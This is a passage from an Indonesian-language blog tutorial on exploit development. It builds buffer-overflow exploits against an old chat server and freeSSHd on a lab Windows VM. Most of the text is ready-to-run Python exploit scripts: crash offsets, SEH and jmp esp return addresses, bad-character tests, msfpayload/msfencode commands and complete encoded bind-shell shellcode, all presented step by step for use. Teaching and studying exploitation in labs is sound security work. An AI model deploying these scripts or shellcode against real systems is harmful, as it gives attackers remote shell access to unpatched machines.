command = "GET /chat.ghp?username="
command += "A" * (offsets['NXT'])
command += "B" * 4 # selanjutnya di ganti jmp 6 bytes dan nop sleed
command += "C" * 4 # selanjutnya di ganti alamat POP POP RETN
command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
command += "D" * 2000
command += "&password=test&room=1&sex=2 HTTP/1.1\r\n\r\n"
print "command {0} chars ...".format(len(command))
fuzz(command)
Dan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.

Sekarang kita coba hapus karakter "\x00\x20", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:

Berikut nya kita mencari alamat memory yang berisi POP POP RETN di file dll ini yang sifat nya tidak safe. Kita menggunakan script pvefindaddr.py, cara menjalankan nya di Immunity, pilih View > Executables modules, ketik !pvefindaddr modules, tunggu sampai proses selesai, seperti gambar di bawah ini:


Kemudian pilih View > Log, ketik !pvefindaddr nosafeseh, tunggu sampai proses selesai. Dari sini kita akan mendapatkan info SEH yang tidak safe, termasuk target kita, seperti gambar di bawah ini:

Berikut nya kita pilih View > Executables modules, klik file dll yang tidak safe tersebut (SSLEAY92.dll). Kemudian klik kanan di area kolom pojok kiri atas, pilih Search for > Sequence of commands, kemudian input seperti ini:
Tekan Ctrl+L untuk mencari alamat POP POP RETN yang lain dan memang ternyata ada banyak. Ambil salah satu nya saja tapi yang tidak mengandung karakter yang di larang, kita ambil contoh seperti gambar berikut:



Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.

Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp EXITFUNC=seh R | msfencode -a x86 -b "\x00\x20" -t c
Kemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 81


def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

offsets = {
        'NXT':216,# pointer to next seh record
        'SEh':220 # se handler
}

print "Attacking {0}:{1} ...".format(host, port)
command = "GET /chat.ghp?username="
command += "A" * (offsets['NXT'])
command += "\xeb\x06\x90\x90" # jmp 6 bytes dan nop sleed 2x
command += "\x77\x81\x01\x10" # alamat POP POP RETN
command += ("\xbb\xdf\xba\x3a\xeb\xdb\xdf\xd9\x74\x24\xf4\x58\x31\xc9\xb1"
"\x56\x31\x58\x13\x83\xc0\x04\x03\x58\xd0\x58\xcf\x17\x06\x15"
"\x30\xe8\xd6\x46\xb8\x0d\xe7\x54\xde\x46\x55\x69\x94\x0b\x55"
"\x02\xf8\xbf\xee\x66\xd5\xb0\x47\xcc\x03\xfe\x58\xe0\x8b\xac"
"\x9a\x62\x70\xaf\xce\x44\x49\x60\x03\x84\x8e\x9d\xeb\xd4\x47"
"\xe9\x59\xc9\xec\xaf\x61\xe8\x22\xa4\xd9\x92\x47\x7b\xad\x28"
"\x49\xac\x1d\x26\x01\x54\x16\x60\xb2\x65\xfb\x72\x8e\x2c\x70"
"\x40\x64\xaf\x50\x98\x85\x81\x9c\x77\xb8\x2d\x11\x89\xfc\x8a"
"\xc9\xfc\xf6\xe8\x74\x07\xcd\x93\xa2\x82\xd0\x34\x21\x34\x31"
"\xc4\xe6\xa3\xb2\xca\x43\xa7\x9d\xce\x52\x64\x96\xeb\xdf\x8b"
"\x79\x7a\x9b\xaf\x5d\x26\x78\xd1\xc4\x82\x2f\xee\x17\x6a\x90"
"\x4a\x53\x99\xc5\xed\x3e\xf6\x2a\xc0\xc0\x06\x24\x53\xb2\x34"
"\xeb\xcf\x5c\x75\x64\xd6\x9b\x7a\x5f\xae\x34\x85\x5f\xcf\x1d"
"\x42\x0b\x9f\x35\x63\x33\x74\xc6\x8c\xe6\xdb\x96\x22\x58\x9c"
"\x46\x83\x08\x74\x8d\x0c\x77\x64\xae\xc6\x0e\xa2\x60\x32\x43"
"\x45\x81\xc4\x72\xc9\x0c\x22\x1e\xe1\x58\xfc\xb6\xc3\xbe\x35"
"\x21\x3b\x95\x69\xfa\xab\xa1\x67\x3c\xd3\x31\xa2\x6f\x78\x99"
"\x25\xfb\x92\x1e\x57\xfc\xbe\x36\x1e\xc5\x29\xcc\x4e\x84\xc8"
"\xd1\x5a\x7e\x68\x43\x01\x7e\xe7\x78\x9e\x29\xa0\x4f\xd7\xbf"
"\x5c\xe9\x41\xdd\x9c\x6f\xa9\x65\x7b\x4c\x34\x64\x0e\xe8\x12"
"\x76\xd6\xf1\x1e\x22\x86\xa7\xc8\x9c\x60\x1e\xbb\x76\x3b\xcd"
"\x15\x1e\xba\x3d\xa6\x58\xc3\x6b\x50\x84\x72\xc2\x25\xbb\xbb"
"\x82\xa1\xc4\xa1\x32\x4d\x1f\x62\x4c\xbf\xad\x7f\xd9\x66\x44"
"\xc2\x87\x98\xb3\x01\xbe\x1a\x31\xfa\x45\x02\x30\xff\x02\x84"
"\xa9\x8d\x1b\x61\xcd\x22\x1b\xa0")
command += "&password=test&room=1&sex=2 HTTP/1.1\r\n\r\n"print "command {0} chars ...".format(len(command))
fuzz(command)
Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, berikut uji coba nya:



Dari hasil di atas, tampak aplikasi tidak crash dan juga kita berhasil mendapatkan shell nya.

Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)

Kamis, 03 April 2014

Experimen BoF Ke-4

Hari ini kita akan belajar untuk memahami cara kerja dari buffer overflow dengan menggunakan software yang ada di pasaran, tapi tentu nya versi software tersebut sudah lama dan sudah terdapat public exploit nya juga, di sini kita akan mencoba membuat exploit versi sendiri, semoga bisa di ikuti ya hehe ;)
Hal-hal yang perlu di persiapkan adalah :
- 2 OS yang berisi masing-masing VM Kali Linux ( sebagai attacker)  dan VM Windows 7 ( sebagai korban )
- Immunity Debugger
- aplikasi freeSSHd.exe, yg bisa di download di sini
- contoh penampakan software freeSSHd


- sedikit pemahaman tentang python di perlukan :D

Langkah pertama:
Kita mencoba untuk mengirimkan suatu string "A" sebanyak-banyaknya sampai aplikasi tersebut mengalami crash, dalam contoh aplikasi ini saya akan mengirimkan sebanyak 25000.
Script yang di gunakan seperti berikut:

#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 22

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

print "Attacking {0}:{1} ...".format(host, port)

# header dari exploit-db 1787
command = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
command += "A" * 25000
command += "\r\n"

print "command {0} chars ...".format(len(command))
fuzz(command)

Dan ternyata aplikasi mengalami crash, seperti pada gambar di bawah ini.


Langkah kedua:
Setelah aplikasi mengalami crash di string "A" sebanyak 25000, sekarang kita akan membuat pattern string sebanyak 25000 juga, seperti pada gambar di bawah ini :


Langkah ketiga:
Edit script sebelumnya dengan menambahkan string dari langkah kedua, seperti berikut ini:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 22

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

print "Attacking {0}:{1} ...".format(host, port)

# header dari exploit-db 1787
command = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
command += "hasil dari pattern_offset 25000"
command += "\r\n"

print "command {0} chars ...".format(len(command))
fuzz(command)
Perhatikan value dari alamat memory ESP dan EIP yang keluar di immunity debugger, seperti pada gambar di bawah ini:

Langkah keempat:
Sekarang kita perlu mengetahui posisi ESP dan EIP berada di mana dengan menggunakan perintah seperti pada gambar di bawah ini:


Langkah kelima:
Saat nya kita coba lagi dengan lebih detil jumlah string yang harus di kirim kan sesuai dengan hasil di atas ;) Kemudian kita belajar untuk mengetahui apa saja karakter yang di larang, agar saat membuat payload shell tidak menjadi masalah ;)
Untuk buat script generate karakternya, bisa cek di sini

Edit script sebelumnya dengan menambahkan detil informasi yang kita dapat dari proses sebelumnya, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 22

def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close


offsets = {
        'EIP':1055,
        'ESP':1063
}
print "Attacking {0}:{1} ...".format(host, port)

# header dari exploit-db 1787
command = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
command += "A" * (offsets['EIP'])
command += "\xc3\x9c\xb7\x75" # jmp esp shell32.dll
command += "C" * 4
command += "\x90" * 20 # nop sleed
command += "\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
command += "D" * 25000
command += "\r\n"

print "command {0} chars ...".format(len(command))
fuzz(command)
Dan ternyata hasil nya masih ada keanehan, berarti kita harus uji coba dengan menghapus karakter dari hasil generate ./a.out.

Sekarang kita coba hapus karakter "\x00", kemudian jalankan script tersebut. Dan akhirnya karakter yang muncul sudah teratur, seperti pada gambar berikut ini:

Dan ternyata EIP berhasil kita ubah value nya.

Kemudian kita cari alamat memory yang berisi "jmp esp" di file user32.dll, seperti pada gambar berikut:

Sekarang saat nya membuat payload shell nya dan jangan lupa pastikan payload shell kita tidak terdapat karakter yang di larang tersebut.

Langkah keenam:
Kita buat payload shell di Kali Linux dengan menggunakan perintah berikut:
msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b "\x00" -t c
Kemudian edit script kita, untuk menambahkan script payload shell tersebut, seperti berikut:
#!/usr/bin/python
import socket

host = '10.7.9.248'
port = 22


def fuzz(payload):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send(payload)
        s.shutdown
        s.close

offsets = {
        'EIP':1055,
        'ESP':1063
}
# header dari exploit-db 1787
command = "\x53\x53\x48\x2d\x31\x2e\x39\x39\x2d\x4f\x70\x65\x6e\x53\x53\x48" \
"\x5f\x33\x2e\x34\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00" \
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
command += "A" * (offsets['EIP'])
command += "\xc3\x9c\xb7\x75"
command += "C" * 4
command += "\x90" * 20 # nop sleed
command += ("\xdb\xc0\xd9\x74\x24\xf4\xb8\x7a\xf2\xb7\x83\x5d\x33\xc9\xb1"
"\x56\x31\x45\x18\x03\x45\x18\x83\xed\x86\x10\x42\x7f\x9e\x5c"
"\xad\x80\x5e\x3f\x27\x65\x6f\x6d\x53\xed\xdd\xa1\x17\xa3\xed"
"\x4a\x75\x50\x66\x3e\x52\x57\xcf\xf5\x84\x56\xd0\x3b\x09\x34"
"\x12\x5d\xf5\x47\x46\xbd\xc4\x87\x9b\xbc\x01\xf5\x53\xec\xda"
"\x71\xc1\x01\x6e\xc7\xd9\x20\xa0\x43\x61\x5b\xc5\x94\x15\xd1"
"\xc4\xc4\x85\x6e\x8e\xfc\xae\x29\x2f\xfc\x63\x2a\x13\xb7\x08"
"\x99\xe7\x46\xd8\xd3\x08\x79\x24\xbf\x36\xb5\xa9\xc1\x7f\x72"
"\x51\xb4\x8b\x80\xec\xcf\x4f\xfa\x2a\x45\x52\x5c\xb9\xfd\xb6"
"\x5c\x6e\x9b\x3d\x52\xdb\xef\x1a\x77\xda\x3c\x11\x83\x57\xc3"
"\xf6\x05\x23\xe0\xd2\x4e\xf0\x89\x43\x2b\x57\xb5\x94\x93\x08"
"\x13\xde\x36\x5d\x25\xbd\x5e\x92\x18\x3e\x9f\xbc\x2b\x4d\xad"
"\x63\x80\xd9\x9d\xec\x0e\x1d\xe1\xc7\xf7\xb1\x1c\xe7\x07\x9b"
"\xda\xb3\x57\xb3\xcb\xbb\x33\x43\xf3\x6e\x93\x13\x5b\xc0\x54"
"\xc4\x1b\xb0\x3c\x0e\x94\xef\x5d\x31\x7e\x86\x59\xff\x5a\xcb"
"\x0d\x02\x5d\xfa\x91\x8b\xbb\x96\x39\xda\x14\x0e\xf8\x39\xad"
"\xa9\x03\x68\x81\x62\x94\x24\xcf\xb4\x9b\xb4\xc5\x97\x30\x1c"
"\x8e\x63\x5b\x99\xaf\x74\x76\x89\xa6\x4d\x11\x43\xd7\x1c\x83"
"\x54\xf2\xf6\x20\xc6\x99\x06\x2e\xfb\x35\x51\x67\xcd\x4f\x37"
"\x95\x74\xe6\x25\x64\xe0\xc1\xed\xb3\xd1\xcc\xec\x36\x6d\xeb"
"\xfe\x8e\x6e\xb7\xaa\x5e\x39\x61\x04\x19\x93\xc3\xfe\xf3\x48"
"\x8a\x96\x82\xa2\x0d\xe0\x8a\xee\xfb\x0c\x3a\x47\xba\x33\xf3"
"\x0f\x4a\x4c\xe9\xaf\xb5\x87\xa9\xc0\xff\x85\x98\x48\xa6\x5c"
"\x99\x14\x59\x8b\xde\x20\xda\x39\x9f\xd6\xc2\x48\x9a\x93\x44"
"\xa1\xd6\x8c\x20\xc5\x45\xac\x60")
command += "D" * 25000
command += "\r\n"

print "command {0} chars ...".format(len(command))
fuzz(command)
Selanjutnya kita perlu uji coba script tersebut, jika memang aplikasi tidak crash, harus nya kita sudah mendapatkan shell nya, berikut uji coba nya:


Dari hasil di atas, tampak aplikasi tidak crash. Sekarang kita coba akses shell yang sudah kita buat, dan jika berhasil harus nya seperti pada gambar berikut ini:

Note:
Sebagai latihan, bisa mencoba dengan menggunakan OS Windows yang lain nya, untuk mengetahui perbedaan nya seperti apa ;)